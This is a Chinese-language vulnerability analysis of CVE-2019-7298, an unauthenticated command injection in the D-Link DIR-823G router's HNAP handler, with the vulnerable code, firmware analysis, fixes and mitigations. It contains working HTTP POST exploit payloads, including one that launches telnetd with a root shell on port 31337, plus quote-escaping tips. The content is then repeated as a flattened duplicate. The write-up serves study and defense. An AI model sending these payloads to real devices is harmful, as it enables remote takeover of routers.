路由器漏洞分析之 CVE-2019-7298
字数 1619 2025-08-29 08:31:35

D-Link DIR-823G CVE-2019-7298 命令注入漏洞分析报告

漏洞概述

漏洞编号: CVE-2019-7298
影响设备: D-Link DIR-823G 路由器
影响版本: 固件版本 1.02B03 及以下
漏洞类型: 远程命令注入
CVSS评分: 9.8 (Critical)
漏洞发现者: 未知(先知社区发布分析)

漏洞描述

D-Link DIR-823G 路由器在处理 /HNAP1 请求时存在命令注入漏洞。攻击者可以通过构造恶意的 HNAP API 请求,在未授权的情况下执行任意操作系统命令。该漏洞源于 system() 函数执行了未经充分验证的用户输入。

技术细节

漏洞触发流程

  1. 攻击者向目标设备发送特制的 /HNAP1 HTTP POST 请求
  2. GoAhead Web 服务器将请求路由到 websHNAPHandler 处理函数
  3. 处理函数使用 snprintf 构造包含用户输入的 echo 命令
  4. 构造的命令通过 system() 函数执行,导致命令注入

关键代码分析

漏洞存在于 /bin/goahead 二进制文件的 sub_42383C 函数(即 websHNAPHandler)中:

memset(&v11[27], 0, 5000);
snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7);
system(&v11[27]);

其中 a7 参数直接来自用户可控的 POST 数据,未经过任何过滤就被拼接到系统命令中执行。

漏洞利用条件

  1. 攻击者能够访问目标设备的 Web 接口(通常为 80 端口)
  2. 目标设备运行受影响固件版本(1.02B03 或更早)
  3. 不需要任何身份验证

漏洞复现

环境准备

  • 受影响设备:D-Link DIR-823G 固件 1.02B03
  • 攻击机:任意可发送 HTTP 请求的系统
  • 网络环境:攻击机与目标设备在同一网络

复现步骤

  1. 构造恶意 HTTP 请求:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 37
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Connection: close

'`echo hacked > /web_mtn/hacker.txt`'
  1. 发送请求到目标设备
  2. 验证漏洞利用是否成功:
    • 检查 /web_mtn/hacker.txt 文件是否被创建
    • 文件内容应为 "hacked"

利用技巧

  1. 命令构造:必须使用单引号闭合原始命令中的引号

    • 错误示例:`/bin/telnetd` → 会被当作字符串处理
    • 正确示例:'`/bin/telnetd`' → 会执行命令
  2. SOAPAction 头:必须包含有效的 SOAPAction,可从固件中提取已知值

  3. 回显技巧:可通过写入Web目录文件或建立反向连接确认命令执行

深入分析

GoAhead Web 服务器机制

漏洞涉及的关键组件是 GoAhead Web 服务器,其 URL 处理机制如下:

websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);

固件分析过程

  1. 使用 binwalk 解包固件:

    binwalk -Me DIR823GA1_FW102B03.bin
    
  2. 分析启动脚本 /etc/rcS,发现启动了 GoAhead:

    goahead &
    
  3. 逆向分析 /bin/goahead 二进制文件,定位漏洞函数

漏洞根本原因

  1. 不安全函数使用:直接使用 system() 执行包含用户输入的字符串
  2. 缺乏输入验证:未对用户提供的 POST 数据进行过滤
  3. 错误日志记录方式:通过 shell 命令记录日志而非安全 API

修复建议

  1. 厂商修复方案

    • 升级到最新固件版本
    • 使用安全的日志记录方式(如直接文件写入)
    • 实现严格的输入验证
  2. 临时缓解措施

    • 禁用 HNAP 服务(如果不需要)
    • 配置防火墙规则限制对 Web 接口的访问
    • 启用设备认证机制

参考链接

  1. 先知社区漏洞分析原文
  2. CVE-2019-7298 官方描述
  3. D-Link 安全公告

附录

完整攻击载荷示例

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0
Content-Type: text/xml
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
Content-Length: 29

'`telnetd -l /bin/sh -p 31337`'

受影响函数表

固件中包含的 HNAP 处理函数(部分):

函数名 地址 描述
GetDeviceSettings 0x40XXXX 设备设置获取
Login 0x40XXXX 认证处理
GetLocalMac 0x40XXXX MAC地址获取
D-Link DIR-823G CVE-2019-7298 命令注入漏洞分析报告 漏洞概述 漏洞编号 : CVE-2019-7298 影响设备 : D-Link DIR-823G 路由器 影响版本 : 固件版本 1.02B03 及以下 漏洞类型 : 远程命令注入 CVSS评分 : 9.8 (Critical) 漏洞发现者 : 未知(先知社区发布分析) 漏洞描述 D-Link DIR-823G 路由器在处理 /HNAP1 请求时存在命令注入漏洞。攻击者可以通过构造恶意的 HNAP API 请求,在未授权的情况下执行任意操作系统命令。该漏洞源于 system() 函数执行了未经充分验证的用户输入。 技术细节 漏洞触发流程 攻击者向目标设备发送特制的 /HNAP1 HTTP POST 请求 GoAhead Web 服务器将请求路由到 websHNAPHandler 处理函数 处理函数使用 snprintf 构造包含用户输入的 echo 命令 构造的命令通过 system() 函数执行,导致命令注入 关键代码分析 漏洞存在于 /bin/goahead 二进制文件的 sub_42383C 函数(即 websHNAPHandler )中: 其中 a7 参数直接来自用户可控的 POST 数据,未经过任何过滤就被拼接到系统命令中执行。 漏洞利用条件 攻击者能够访问目标设备的 Web 接口(通常为 80 端口) 目标设备运行受影响固件版本(1.02B03 或更早) 不需要任何身份验证 漏洞复现 环境准备 受影响设备:D-Link DIR-823G 固件 1.02B03 攻击机:任意可发送 HTTP 请求的系统 网络环境:攻击机与目标设备在同一网络 复现步骤 构造恶意 HTTP 请求: 发送请求到目标设备 验证漏洞利用是否成功: 检查 /web_mtn/hacker.txt 文件是否被创建 文件内容应为 "hacked" 利用技巧 命令构造 :必须使用单引号闭合原始命令中的引号 错误示例: `/bin/telnetd` → 会被当作字符串处理 正确示例: '`/bin/telnetd`' → 会执行命令 SOAPAction 头 :必须包含有效的 SOAPAction,可从固件中提取已知值 回显技巧 :可通过写入Web目录文件或建立反向连接确认命令执行 深入分析 GoAhead Web 服务器机制 漏洞涉及的关键组件是 GoAhead Web 服务器,其 URL 处理机制如下: 固件分析过程 使用 binwalk 解包固件: 分析启动脚本 /etc/rcS ,发现启动了 GoAhead: 逆向分析 /bin/goahead 二进制文件,定位漏洞函数 漏洞根本原因 不安全函数使用 :直接使用 system() 执行包含用户输入的字符串 缺乏输入验证 :未对用户提供的 POST 数据进行过滤 错误日志记录方式 :通过 shell 命令记录日志而非安全 API 修复建议 厂商修复方案 : 升级到最新固件版本 使用安全的日志记录方式(如直接文件写入) 实现严格的输入验证 临时缓解措施 : 禁用 HNAP 服务(如果不需要) 配置防火墙规则限制对 Web 接口的访问 启用设备认证机制 参考链接 先知社区漏洞分析原文 CVE-2019-7298 官方描述 D-Link 安全公告 附录 完整攻击载荷示例 受影响函数表 固件中包含的 HNAP 处理函数(部分): | 函数名 | 地址 | 描述 | |-------|------|------| | GetDeviceSettings | 0x40XXXX | 设备设置获取 | | Login | 0x40XXXX | 认证处理 | | GetLocalMac | 0x40XXXX | MAC地址获取 |